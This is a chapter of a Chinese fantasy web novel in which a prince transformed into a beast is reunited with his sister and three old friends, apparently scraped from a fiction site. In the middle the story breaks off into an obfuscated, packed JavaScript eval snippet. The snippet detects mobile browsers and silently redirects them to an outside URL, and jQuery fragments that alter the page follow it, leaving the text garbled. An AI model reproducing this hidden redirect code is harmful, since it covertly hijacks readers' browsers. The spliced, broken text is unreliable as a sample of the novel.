254.第 254 章

作品:《北冥妖兽志

    一连几日,除了用饭与睡觉,李寒庭都与莫夜寒待在院子中默默守着,只等着李云屏的消息。


    不知是不是错觉,李寒庭总觉得莫夜寒一日比一日憔悴,面色也沉了许多。甚至有两日,她睡到快晌午才出屋子。他疑心之前的奔波伤了莫夜寒的身子,也担心失去了浮幻,让莫夜寒的身体发生了什么微妙的变化。


    他询问过几次,但莫夜寒只说没事。


    李寒庭越发担心,只因莫夜寒虽然嘴上没说什么,但发呆的时辰却渐渐多了。偶尔的,他会看到她一个人站在院中树下,时而在树干上描绘着什么,时而好似想到什么一样沉思,时而又抬手锤锤自己的头。


    李寒庭吓坏了,一刻也不敢将眼睛从她身上移开。


    这日清晨,李寒庭与莫夜寒在庭院中闲话。李云屏从中屋走了出来,看起来面色不佳,颇为疲惫。


    “云屏,怎么了?”李寒庭问道。


    李云屏摇了摇头:“二皇兄,这……我试了几日,但那药总不成型。是我心急了。”


    李寒庭并未听进李云屏说了些什么,却只关注着她的面色,见她精神不振,道:“你累了,先歇歇。”


    李云屏蹲下身,颇为歉疚:“二皇兄,抱歉。我以为只要让火烧的更猛些便能成药,看来不行。”


    “发生什么事了?”李寒庭道,“若有为难,皇兄帮你想办法。”


    李云屏蜷身坐在狸兽身边,道:“依我所知,玄蛇卵壳要炼化成改变妖兽外形的药,需汲取正午日光之能,足足四十九日。若空中有云蔽日不可,有雨雪更不可。我本想以火焰替代,日夜不息,几日便能成了,想不到此法行不通。是我心急了。”


    李寒庭少见她如此性急。知晓李云屏是为了自己之故,他怎么忍心责怪。


    “不妨事。”他道,“半年都等了,四十九日算什么。云屏,莫要因这事忧心,如今距离你皇兄我恢复人型,不过差这几日而已,不要丧气。”


    李寒庭大摇大摆走到院中,道:“你看,做狸兽也没什么不好。”说着,他突凝神,一瞬间消失了身影。


    李云屏一愣,立时站起身四处环顾,想要找到李寒庭的身影。岂知下一刻,狸兽毫无征兆的出现在她脚边,将她吓了一跳。


    李寒庭得意道:“这便是狸兽隐藏身形的异能,是不是很厉害?”


    李云屏这才反应过来发生了何事,先是惊奇,而后忍不住笑出了声,道:“原来这便是狸兽的异能,果然稀罕。”


    此情此景分外温馨,让一旁的莫夜寒也感到心中温暖。


    听了李寒庭宽慰的言语,李云屏心中忧愁少了几分:“二皇兄,你且再等些日子,我一定会将药炼好。”


    “皇兄相信你。”李寒庭说着,重又坐回她身边。


    “郡主。”门外突然传来侍卫的声音,“卢严礼卢大人来访,现下人已在门外了。”


    “糟了。”李寒庭想也没想就跑进屋子躲了起来。


    “二皇兄?”李云屏十分疑惑,不知何时,自己的皇兄竟然害怕起了卢严礼。


    李寒庭从门后探出头,道:“我倒是不怕见严礼,可你府上其他人,还有严礼身边的人并不知晓我此刻在你府上啊。若是让人见到我这半膝岂不麻烦?”


    李云屏这才反应过来,匆匆忙将屋门掩好,而后对着院门外吩咐道:“请卢大人进来。”


    门外的侍卫应声。不多久,院门便被推开了,正是卢严礼带着裂鼓站在门外。


    他向院内望了一眼,只见莫夜寒而不见半膝,又见李云屏冲他使眼色,便对门外言道:“你们跟我进来,其余人留在这里。”


    院外的侍卫将卢严礼请进了门,将妖兽们和随从都拦在门外,而后将门合上。


    “郡主。”卢严礼施过礼,又对莫夜寒点了点头。


    莫夜寒回过礼,却发觉卢严礼身后还站着两个人。其中一人便是上次在郡主府中见过的江时,他肩上正停着李寒庭的侍兽赤昊。


    江时见了莫夜寒客气的点点头,莫夜寒回过。


    几人还未说上话,就见赤昊展翅飞向空中,落在中屋门,朝着屋内展了展翅膀。


    李云屏一下子紧张起来,朝着卢严礼摆摆手:“卢大人,你看这凤鸟……”


    卢严礼笑了笑:“郡主,无妨。”言罢,他冲着中屋道,“请王爷出来吧。”


    李云屏瞥了一眼卢严礼身后的人,有些作难,想要遮掩:“卢大人,我二皇兄不在这里,卢大人你……”她昨夜便差人告知了卢严礼即将帮助李寒庭恢复人身之事。本以为他今日来府上定然隐秘,没想到他竟将这秘密直接抛了出来。这让李云屏有些不明所以,因而显得极为犹豫。


    “郡主,这里没有外人。”江时少有的摆上笑脸,道,“王爷之事,卢大人已经相告,郡主勿慌。”


    李云屏用眼神向卢严礼确认,见卢严礼点点头,才稍微安了安心。


    “王爷。”卢严礼继续对着屋中道,“下官有要事相商。”


    片刻之后,中屋之后露出半颗野兽的脑袋。


    老实说,卢严礼用如此口吻说话时,一般没有好事。想到往事,李寒庭忽而有些头疼。


    卢严礼见李寒庭仍是半膝模样,有些讶异。一旁的李云屏急忙做了解释,众人这才明白过来。


    真相已明,便再无遮掩的必要。李寒庭于是走出屋子,站在众人面前。


    自从知晓事情的真相后,李寒庭身边几个人亲近的人心情都十分复杂。今日总算看到失踪近半年的安平王爷活生生站在眼前,虽仍旧是野兽的样子,但好歹安全无虞,也算是一件喜事了。


    本该是一场久别后的许久,但还未等众人说什么,凤鸟赤昊便展翅而起,朝着李寒庭的方向飞了过去,将才走出中屋的李寒庭挡了个严实。


    侍兽与主人亦是分别已久,思念之情比人也不差。


    “赤昊。”李寒庭见了赤昊尤其高兴,但碍着众人在场,好歹记着自己的身份。虽然仍是野兽模样,但仍维持着稳重。只不过在院中众人看来,这伪装着实有些多余。


    李寒庭安抚好凤鸟,踏步走出屋子来到院中。</


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17388214|162310||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    p>


    “王爷。”众人行过礼。


    半膝大方的做了个手势让大家起身,而后看了一眼卢严礼,以示众人不必如此庄重。


    不过这份君尊臣卑的气氛倒也没能维持多久,便被江时一语打破了:“卢大人真是沉得住气,这样的大事竟然独自瞒了半年之久。前次回来,竟然一句不提。我从前还真是看走了眼,没看出大人做戏的功夫这么好。”言罢,斜了卢严礼一眼。


    李寒庭深知这是江时即将发难的前奏,想要解释,碍于自己如今不能言人语,只得向卢严礼求助。


    “王爷有什么话自己说便是了。”江时轻拍了下胸口,道,“有传音石在,我们眼下也听得懂你说话。况且,我很想亲耳听听,王爷究竟有何借口?”


    李寒庭一头冷汗,见江时已然处在发怒的边缘,急忙道:“江时,这事原也不怪严礼,是我授意他如此做的。再则,我如今也无事……”


    “还好无事。”江时将目光移到李寒庭身上,竟没有一点卑怯的意思,“若是有事,我怕整个卢家都不够赔。王爷行事之前,难道没有考量过这其中的利害?被变作狸兽难道不该先找个安全的地方躲避,以图后事?结交来仪阁,潜入赌庄,我倒是不知,王爷原来有这般胆量。”


    李寒庭一脸赔笑,脑中飞快的思索自己该说些什么。比起卢严礼,江时更让他畏惧,自小便是如此。


    幼时江恒作为启蒙恩师,对李寒庭的管教事无巨细。而作为其子的江时一直效仿其父,对李寒庭看管颇严。被江时看着读书的日子,稍有放松,江时便递来一记眼刀,严厉至极,以至于让李寒庭不敢反抗。


    这些,他如今仍记忆犹新。后来虽然年岁渐长,但这份畏惧仍在,以至于每每见到江时摆开脸色,他总是心生畏惧。


    “那个,江时……”李寒庭支吾道,“我们、我们不是还有事……”


    一直站在一旁的陌生男子忽而言道:“江时,王爷说的不错,我们还有要事相商。”言罢又对李寒庭道,“王爷,江大人担心王爷安危,一时出言无状,王爷莫怪。”


    接着,又看了看站在一旁的莫夜寒和李云屏,道:“江大人难道要让郡主和这位姑娘站在这里听我们闲话吗?未免太失礼了。”


    李寒庭彷佛看到了救星一般,喊道:“院昌……说的是。”


    江时忍不住长叹一口气,不再说话。


    李云屏急忙将所有人请到院中的凉亭中,一众人总算能坐下来。


    李寒庭着实松了一口气。才落座,便见人一直盯着莫夜寒,急忙道:“院昌,这是莫夜寒,想必严礼同你说过了。”而后又对莫夜寒道,“这是陆院昌,同严礼和江时一样,我们从小便相识了。”


    莫夜寒行礼道:“陆大人。”


    陆院昌急忙摆摆手:“莫姑娘别客气。我听卢大人说了许多你的事,还要感谢你一路照顾王爷。”


    李寒庭想起他们的来意,问道:“对了,院昌,你们来是……”


    “王爷不会以为凭你与我之力,便能对抗得了来仪阁?”卢严礼道。